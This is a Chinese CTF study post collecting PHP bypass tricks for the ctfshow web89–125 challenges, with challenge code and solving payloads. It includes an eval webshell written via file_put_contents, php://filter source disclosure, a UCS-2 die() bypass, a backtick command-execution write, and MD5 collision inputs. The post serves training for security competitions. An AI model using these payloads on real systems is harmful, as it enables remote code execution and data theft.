知识
1、数组绕过正则表达式
1 2 3 4 5 6
| if(preg_match("/[0-9]/", $num)){ die("no no no!"); } else(intval($num)){ echo $flag; }
|
preg_match第二个参数要求是字符串,如果传入数组则不会进入if语句
payload:num[]=1
2、intval函数的使用
1
| intval( mixed $value, int $base = 10) : int
|
如果 base 是 0,通过检测 value 的格式来决定使用的进制:
◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
◦ 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
◦ 将使用 10 进制 (decimal)
1 2 3 4 5 6 7 8 9
| if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } else{ echo intval($num,0); }
|
科学计数法也可以绕过
1 2 3 4 5 6
| intval('4476.0')===4476 小数点 intval('+4476.0')===4476 正负号 intval('4476e0')===4476 科学计数法 intval('0x117c')===4476 16进制 intval('010574')===4476 8进制 intval(' 010574')===4476 8进制+空格
|
payload:num=4476.0
3、正则表达式修饰符&web91
1 2 3 4 5 6 7 8 9 10 11
| if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
^匹配字符串的开头,i 不区分(ignore)大小写;$匹配字符串的末尾,m多(more)行匹配,若有换行符则以换行符分割,按行匹配
payload:%0aphp,第一行匹配换行后有php故通过,第二个不符合php开头php结尾故不通过
4、highlight_file路径&web96
highlight_file的参数可以是路径的
1 2 3 4 5
| if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
|
if语句只比对字符串,highlight_file可以写路径,故payload有多种解法:
1 2 3
| /var/www/html/flag.php 绝对路径 ./flag.php 相对路径 php://filter/resource=flag.php php伪协议
|
5、md5比较缺陷
PHP中hash比较是存在缺陷的,MD5无法处理数组,如果传入数组则返回NULL,两个NULL是强相等的
1 2 3 4 5 6 7 8
| if ($_POST['a'] != $_POST['b']){ if (md5($_POST['a']) === md5($_POST['b'])){ echo $flag; } else{ print 'Wrong.'; } }
|
不同数据强相等
payload:a[]=1&b[]=2
md5弱比较,使用了强制类型转换后不再接收数组
1 2 3 4 5
| $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)==md5($b)) ){ echo $flag; }
|
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload: a=QNKCDZO&b=240610708
MD5等于自身,如md5($a)==$a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017
md5强碰撞
1 2 3 4 5 6 7
| $a=(string)$a; $b=(string)$b; if( ($a!==$b) && (md5($a)===md5($b)) ){ echo $flag; } 这时候需要找到两个真正的md5值相同数据 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
|
6、三目运算符的理解+变量覆盖&web98
1 2 3 4 5 6 7 8 9
| <?php include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
第一行,GET被设置,就可以用POST覆盖GET的值。中间两行意义不大,是flag就被COOKIE覆盖,然后被SERVER覆盖,不是flag被赋值flag然后条件成立也是被SERVER覆盖。而且这个被覆盖的GET没有指定,任意都行,第四行才是关键,等于flag就输出flag,不等于显示源码。所以只需要传入一个任意的GET保证$_GET是被设置的。然后POST一个覆盖它
第一行,使用GET方式接收数据,若是GET传参,则将GET替换成POST 先用GET 往里传东西,随便传 例如: url?1 然后根据最后一行 hackbar通过POST方式往里传HTTP_FLAG=flag即可
payload:get:1=1 post:HTTP_FLAG=flag
7、php弱类型比较&web99
经典
1 2 3 4 5 6 7
| $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
|
对于代码的解释:
$allow = array();: 创建了一个名为 $allow 的空数组,用于存储允许操作的文件名。
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); }: 这是一个 for 循环,从十进制数 36 到十六进制数 0x36d(十进制数为 877)循环遍历,每次循环将一个随机数(范围在 1 到当前循环变量 $i 的值之间)添加到 $allow 数组中。这样做的目的是生成一个随机的允许操作的文件名数组。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){: 这行代码首先检查是否设置了 GET 请求参数 'n',并且检查参数值是否存在于 $allow 数组中。如果这两个条件都满足,则继续执行下面的代码。
file_put_contents($_GET['n'], $_POST['content']);: 这行代码使用 file_put_contents() 函数将 POST 请求参数 'content' 的内容写入到名为 'n' 的文件中。这里的 $_GET['n'] 是文件名,$_POST['content'] 是要写入的文件内容。
弱比较字符串1.php与1返回true。array_push这个函数往里填数字1,则是int类型,in_array使用的就是==弱比较。所以,如果数组里有数字1,与字符串1.php比较时是返回true的。注意,$array( 1 , ‘2’ , ‘3’ ),这里1是int型,2和3都是string类型。
这道题,每次生成随机数都包含1,所以1在数组中的可能最大。
payload:n=1.php post:content=<?php eval($_POST[1]);?>只要,然后蚁剑直接连
8、and与&&的区别
1 2 3 4 5 6
| <?php $a=true and false and false; var_dump($a); 返回true
$a=true && false && false; var_dump($a); 返回false
|
and运算符优先级低于 =,&&运算符优先级高于 =
9、反射类ReflectionClass&web101
反射类还不太懂,但做题都是直接输出这个类echo new ReflectionClass('类名');,可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
|
payload:?v1=1&v2=echo new Reflectionclass&v3=;
flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可(这步目前还不会操作)
10、is_numeric与hex2bin
is_numeric在PHP5中是可以识别十六进制的,hex2bin参数不能带0x
字符串可以被is_numeric()函数解析成数字
11、sha1比较缺陷&web104
sha1无法处理数组,如下可使用a[]=1&b[]=1数组绕过
1 2 3 4 5
| if($a==$b){ if(sha1($a)==sha1($b)){ echo $flag; } }
|
但MD5或者sha1这种如果强制类型转换后,就不接受数组了,这个时候就要找真正的编码后相同的了,如
1 2 3 4
| aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m
|
12、PHP双$($$)的变量覆盖
在双写$的时候,属于动态变量,就是后面的变量值作为新的变量名
1 2 3 4 5
| $test="a23"; $test等于a23 $$test=456; $$test也就等于$a23,这里相当于给$a23赋值了 echo $test; 正常输出$test为a23 echo $$test; 这里输出$$test,就是$a23,为456 echo $a23; 第二行给$a23赋值了,这里正常输出
|
13、parse_str函数的使用
parse_str会把字符串解析为变量,大部分是传入的多个值
1 2 3 4 5 6 7
| $a="q=123&p=456"; parse_str($a); echo $q; 输出123 echo $p; 输出456 parse_str($a,$b); 第二个参数作为数组,解析的变量都存入这个数组中 echo $b['q']; 输出123 echo $b['p']; 输出456
|
php8版本必须要有第二个参数,php7不影响使用但会警告一下
14、ereg %00正则截断&web108
ereg PHP5.3废弃了,功能可以由preg_match代替,ereg有个截断漏洞,字符串里包括%00就只匹配%00之前的内容。所以可以前面根据正则改,后面是执行语句,如果有strrev() 这种字符串反转函数配合用更好。
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error'); }
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; } ?>
|
payload:?c=w%00778
15、迭代器获取当前目录(getcwd())&web109&web110
FilesystemIterator可以获得文件目录,参数需要 . 或者具体路径,**getcwd()**这个函数可以获取当前文件路径,二者在一定条件下配合使用较好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); } eval("echo new $v1($v2());");
} ?>
|
payload:?v1=FilesystemIterator&v2=getcwd
16、$GLOBALS全局变量的使用&web111
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
构造出var_dump($GLOBALS);可以输出全部变量值,包括自定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } } ?>
|
$$v1 = &$$v2;:在这句代码中,$v1和$v2的值是一个变量名,然后右侧变量的值会赋值给左侧变量
按照我们所掌握的,$v1可以是任意值,所以构造playload为:?v1=ctfshow&v2=GLOBALS,最后得到了所有变量的值,然后可以看到flag其实就是变量flag的值
17、php伪协议绕过is_file;highlight_file对于php伪协议的使用&web112&web114
is_file判断给定文件名是否为一个正常的文件,返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。
1 2 3 4 5
| if(! is_file($file)){ highlight_file($file); }else{ echo "hacker!"; }
|
如上的代码,可以传入php伪协议进行绕过并且显示含有flag的文件。若有过滤,可以换其他伪协议或改编码方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
本题题目过滤掉了一部分的过滤器,但是还有许多其他过滤器可以使用,当然本题我们也可以不适用过滤器
payload为:?file=php://filter/resource=flag.php
18、多写根目录绕过is_file&web113
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
这利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了
如上面的代码,也可以用下面payload代替
1
| file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
这个按理说也是文件的,但is_file认为不是
19、trim函数的绕过+is_numeric绕过&web115
这两个函数一起检测时,is_numeric认为内容里有%09 %0a %0b %0c %0d %20也算数字,跟trim一起测试一下
1 2 3 4 5 6
| for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
|
除了+-.号以外还有只剩下%0c也就是换页符了,trim默认时没有剔除%0c。形如以下代码可以绕过
1 2 3 4 5 6 7
| if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }
|
payload:num=%0c36
20、绕过死亡die(利用过滤器UCS-2LE UCS-2BE)
1 2 3 4 5 6 7 8 9
| function filter($x){ if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){ die('too young too simple sometimes naive!'); } } $file=$_GET['file']; $contents=$_POST['contents']; filter($file); file_put_contents($file, "<?php die();?>".$contents);
|
这道看了羽师傅wp,过滤了许多协议,这是取一个 UCS-2LE UCS-2BE
1 2 3
| payload: file=php: post:contents=?<hp pvela$(P_SO[T]1;)>?
|
这会将字符两位两位交换,file_put_contents在写入的时候会破坏那句die,但contents那句恢复原貌,可以执行
21、通过内置bash命令构造命令
在许多命令被过滤时,可以一个字母一个字母得构造,而这些字母从内置变量里面截,比如构造nl,可以写为下面这种方式
在linux中可以用~获取变量的最后几位,也可以写为${PATH:~0}${PWD:~0},字母与0作用一样,${PATH:~A}${PWD:~A}也是nl,flag.php也过滤了的话可以用????.???,具体情况,具体对待
22、PHP变量名非法字符&web123
比如传入AA_BB.CC这个变量,PHP是不允许变量名中含有. 的,会默认将不合法字符替换为_,如下:
1 2 3 4 5
| <?php var_dump($_POST); ?> 传值:AA.BB.CC=14 输出:array(1) { ["AA_BB_CC"]=> string(2) "14" }
|
但输入AA[BB.CC它就只替换 [ 输出 array(1) { [“AA_BB.CC”]=> string(2) “14” }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
这题post传进去的变量CTF_SHOW和变量CTF_SHOW.COM都不能为空,然后变量fl0g为空才能够满足条件
但是变量名CTF_SHOW.COM中有非法字符,按照上面的方法进行绕过,所以构造的payload为:CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
23、gettext拓展的使用
1
| var_dump(call_user_func($f1,$f2));
|
如以上代码,多重过滤后,f1可以为gettext,f2可以为phpinfo,如果过滤更为严格,更改ini文件里的拓展后, _() 等效于 gettext()
1 2 3 4 5 6
| <?php echo gettext("phpinfo"); 结果 phpinfo
echo _("phpinfo"); 结果 phpinfo
|
24、正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。
也就是说前面100万个字母,后面是语句就好,如下面的例子
1 2 3 4 5 6 7
| if(preg_match('/.+?ABC/is', $f)){ die('bye!'); } if(stripos($f, 'ABC') === FALSE){ die('bye!!'); } echo $flag;
|
前面100万个字母后面ABC就可以echo $flag
25、调用类中的函数
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
也就是说双冒号不用实例化类就可以调用类中的静态方法
1 2 3 4 5 6 7 8 9 10
| class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
|
这个传入ctfshow=ctfshow::getFlag即可
26、return绕过
eval("return 1;phpinfo();");会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。
题目
web89
1 2 3 4 5 6 7 8 9 10 11 12
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1;所以可以通过数组绕过
web90(intval)
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
payload:?num=4476.0
web92(intval)
1 2 3 4 5 6 7 8 9 10 11 12 13
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
由于 $num==4476是弱比较,对于类型不看重,只要最后的值是一样的就行,所以之前的科学计数法什么的都不能够成功绕过,所以需要把4476转为8进制等其他进制的数字来绕过
web93(intval)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
八进制绕过:?num=010574
web94(intval)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; } }
|
strpos函数是PHP中用于查找字符串中第一次出现指定子字符串的位置的函数。
strpos($num, "0"): $num是一个字符串,想要查找的子字符串是 “0”
题目里要求输入的内容里面必须包含0,并且不包含字母,不能强等于4476,在经过intval函数后还要等于4476,所以payload:num=4476.0
web95(intval)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } }
|
可以通过八进制绕过,但是前面必须多加一个字节:?num=+010574
web97(md5)
1 2 3 4 5 6 7 8 9 10
| include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
数组绕过:a[]=1&b[]=2
web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } } ?>
|
is_numeric()函数用于判断一个变量是否为数字或数字字符串。如果变量是数字或数字字符串,则返回 true,否则返回 false
在PHP中,逻辑运算符and会比=的优先级低,所以在这个表达式中,=会先执行,然后才是and,所以当其中一个为数字,另外两个不是数字时,$v0的值将取决于第一个条件的结果,因为逻辑运算符and会被视为最后一个操作符。因此,$v0将被赋值为第一个条件的结果,而不会考虑后续条件。
payload:?v1=1&v2=var_dump($ctfshow)&v3=/**/;
web102
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); } ?>
|
call_user_func() 调用方法或变量,第一个参数是调用的对象,第二个参数是被调用对象的参数
file_put_contents() 用来写文件进去,第一个参数是文件名,第二个参数是需要写进文件中的内容,文件名支持伪协议
payload: 参数分析: v1是调用方法
v2是数字字符串,且是写进文件中的内容 v3是文件名(可通过伪协议来创建)
v3=php://filter/write=convert.base64-decode/resource=2.php v2:写进2.php的内容 ——> 查看当前页面源码;<?=cat *; ——> 转为base64为PD89YGNhdCAqYDs ——>转为16进制的ascii码为5044383959474e6864434171594473——>绕过截断,在前面随意加两位数字225044383959474e6864434171594473 v1:将数字字符串还原为base64码 ——> hex2bin
最终payload: v1=hex2bin v2=225044383959474e6864434171594473 v3=php://filter/write=convert.base64-decode/resource=2.php
web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces); ?>
|
payload:?suces=flag;post:error=suces
1
| $key=suces,$suces=$flag,$error=$suces=$flag
|
web107
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
} ?>
|
payload:get:?v3=0;post:v1=flag=cfcd208495d565ef66e7dff9f98764da
web125
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
与上一题相比多禁止flag|GLOBALS|echo|var_dump|print,因此我们需要换一种思路
我们可以利用include函数来包含flag.php
因此我们post传参:CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1],get传参:?1=php://filter/convert.base64-encode/resource=flag.php
得到base64编码后的文件内容,拿去解密后就可以得到flag了
引用
来源: Tajang的大千世界
文章作者: Tajang
文章链接: https://ctfking.com/2021/07/14/php-te-xing-zong-jie/